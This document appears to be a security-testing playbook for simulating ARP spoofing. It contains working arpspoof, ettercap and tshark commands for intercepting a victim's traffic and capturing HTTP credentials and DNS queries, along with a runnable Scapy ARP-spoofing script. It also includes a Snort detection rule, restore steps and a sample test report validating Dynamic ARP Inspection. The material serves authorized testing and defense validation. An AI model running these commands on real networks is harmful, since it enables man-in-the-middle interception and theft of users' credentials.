Do not use on production networks without explicit written authorization and a rollback plan, against networks carrying critical or life-safety traffic, or as a denial-of-service attack vector.
# Discover hosts on the local subnet
nmap -sn -PR 192.168.1.0/24 -oG arp_discovery.txt
# Identify the default gateway
ip route show default
# Output: default via 192.168.1.1 dev eth0
# Identify target hosts and their MAC addresses
arp-scan -l -I eth0
# Verify the current ARP table
arp -a
# Note the gateway IP (192.168.1.1) and target host IP (192.168.1.50)
# Record their legitimate MAC addresses for verification and cleanup
# Enable IPv4 forwarding to relay packets between victim and gateway
sudo sysctl -w net.ipv4.ip_forward=1
# Verify forwarding is enabled
cat /proc/sys/net/ipv4/ip_forward
# Should output: 1
# Optionally prevent ICMP redirects that could alert the victim
sudo sysctl -w net.ipv4.conf.all.send_redirects=0
sudo sysctl -w net.ipv4.conf.eth0.send_redirects=0
# Spoof the gateway to the target (tell target we are the gateway)
sudo arpspoof -i eth0 -t 192.168.1.50 -r 192.168.1.1
# In a separate terminal, spoof the target to the gateway (bidirectional)
sudo arpspoof -i eth0 -t 192.168.1.1 -r 192.168.1.50
# Alternative: Use Ettercap for unified bidirectional spoofing
sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.50// /192.168.1.1//
# Capture all traffic flowing through the attacker machine
sudo tcpdump -i eth0 -w mitm_capture.pcap host 192.168.1.50
# Use tshark to capture HTTP credentials in real-time
sudo tshark -i eth0 -Y "http.request.method == POST" \
-T fields -e ip.src -e http.host -e http.request.uri -e urlencoded-form.value
# Capture DNS queries from the victim
sudo tshark -i eth0 -Y "dns.qry.name and ip.src == 192.168.1.50" \
-T fields -e frame.time -e dns.qry.name
# Use Ettercap with password collection filters
sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.50// /192.168.1.1// \
-w ettercap_capture.pcap
#!/usr/bin/env python3
"""ARP spoofing demonstration using Scapy for authorized security testing."""
from scapy.all import Ether, ARP, sendp, srp, conf
import time
import sys
conf.verb = 0
def get_mac(ip, iface="eth0"):
"""Resolve IP to MAC address via ARP request."""
ans, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip),
timeout=2, iface=iface)
if ans:
return ans[0][1].hwsrc
return None
def spoof(target_ip, spoof_ip, target_mac, iface="eth0"):
"""Send spoofed ARP reply to target."""
packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
sendp(Ether(dst=target_mac) / packet, iface=iface, verbose=False)
def restore(target_ip, gateway_ip, target_mac, gateway_mac, iface="eth0"):
"""Restore legitimate ARP entries."""
packet = ARP(op=2, pdst=target_ip, hwdst=target_mac,
psrc=gateway_ip, hwsrc=gateway_mac)
sendp(Ether(dst=target_mac) / packet, iface=iface, count=5, verbose=False)
if __name__ == "__main__":
target_ip = "192.168.1.50"
gateway_ip = "192.168.1.1"
iface = "eth0"
target_mac = get_mac(target_ip, iface)
gateway_mac = get_mac(gateway_ip, iface)
if not target_mac or not gateway_mac:
print("[!] Could not resolve MAC addresses. Exiting.")
sys.exit(1)
print(f"[*] Target: {target_ip} ({target_mac})")
print(f"[*] Gateway: {gateway_ip} ({gateway_mac})")
print("[*] Starting ARP spoofing... Press Ctrl+C to stop.")
try:
packets_sent = 0
while True:
spoof(target_ip, gateway_ip, target_mac, iface)
spoof(gateway_ip, target_ip, gateway_mac, iface)
packets_sent += 2
print(f"\r[*] Packets sent: {packets_sent}", end="")
time.sleep(1)
except KeyboardInterrupt:
print("\n[*] Restoring ARP tables...")
restore(target_ip, gateway_ip, target_mac, gateway_mac, iface)
restore(gateway_ip, target_ip, gateway_mac, target_mac, iface)
print("[*] ARP tables restored. Exiting.")
# On the target machine, check for ARP cache poisoning indicators
arp -a | grep 192.168.1.1
# If spoofed, the gateway MAC will match the attacker's MAC
# Check IDS/SIEM for ARP spoofing alerts
# Snort rule that should trigger:
# alert arp any any -> any any (msg:"ARP Spoof Detected"; arp.opcode:2;
# threshold:type both, track by_src, count 30, seconds 10; sid:1000010;)
# Stop the attack and restore ARP tables
# Ctrl+C on arpspoof/ettercap sessions
# Disable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=0
# Manually restore ARP entries on affected hosts (if needed)
# On target: arp -d 192.168.1.1 && ping -c 1 192.168.1.1
# On gateway: arp -d 192.168.1.50 && ping -c 1 192.168.1.50
# Verify legitimate MAC addresses are restored
arp -a
| Term | Definition |
|---|---|
| ARP Cache Poisoning | Technique of sending fraudulent ARP replies to associate the attacker's MAC address with another host's IP address in the target's ARP cache |
| Gratuitous ARP | ARP reply sent without a corresponding request, used by ARP spoofing tools to update a target's ARP cache with false entries |
| Dynamic ARP Inspection (DAI) | Switch-level security feature that validates ARP packets against the DHCP snooping binding database and drops invalid ARP traffic |
| IP Forwarding | Kernel-level setting that allows a host to relay packets between network interfaces, required for transparent man-in-the-middle interception |
| DHCP Snooping | Switch security feature that builds a trusted binding table of IP-to-MAC-to-port mappings, serving as the foundation for DAI validation |
Context: A network team deployed Cisco DAI on all access-layer switches and needs to validate that ARP spoofing attempts are properly detected and blocked. The test is authorized on a dedicated VLAN (VLAN 100) with three test hosts and one attacker machine connected to the same switch.
Approach:
show ip arp inspection statistics vlan 100
Pitfalls:
## ARP Spoofing Simulation Report
**Test ID**: NET-ARP-001
**Date**: 2024-03-15 14:00-15:00 UTC
**Target VLAN**: VLAN 100 (192.168.1.0/24)
**Attacker**: 192.168.1.99 (AA:BB:CC:DD:EE:FF)
**Target**: 192.168.1.50 (00:11:22:33:44:55)
**Gateway**: 192.168.1.1 (00:AA:BB:CC:DD:01)
### Test Results
| Test | DAI Status | ARP Spoof Result | Traffic Intercepted |
|------|------------|-------------------|---------------------|
| Test 1 | Enabled | Blocked (switch dropped 847 packets) | No |
| Test 2 | Disabled | Successful (target ARP cache poisoned) | Yes - 23 HTTP sessions |
| Test 3 | Re-enabled | Blocked | No |
### Detection Coverage
- DAI: PASS - Dropped all spoofed ARP replies when enabled
- IDS (Snort): PASS - Generated alert SID:1000010 within 15 seconds
- SIEM: PASS - Alert correlated and escalated within 2 minutes
### Recommendations
1. Maintain DAI enabled on all access VLANs (currently disabled on VLANs 200, 210)
2. Enable DHCP snooping rate limiting to prevent DHCP starvation attacks
3. Deploy 802.1X port authentication to complement ARP inspection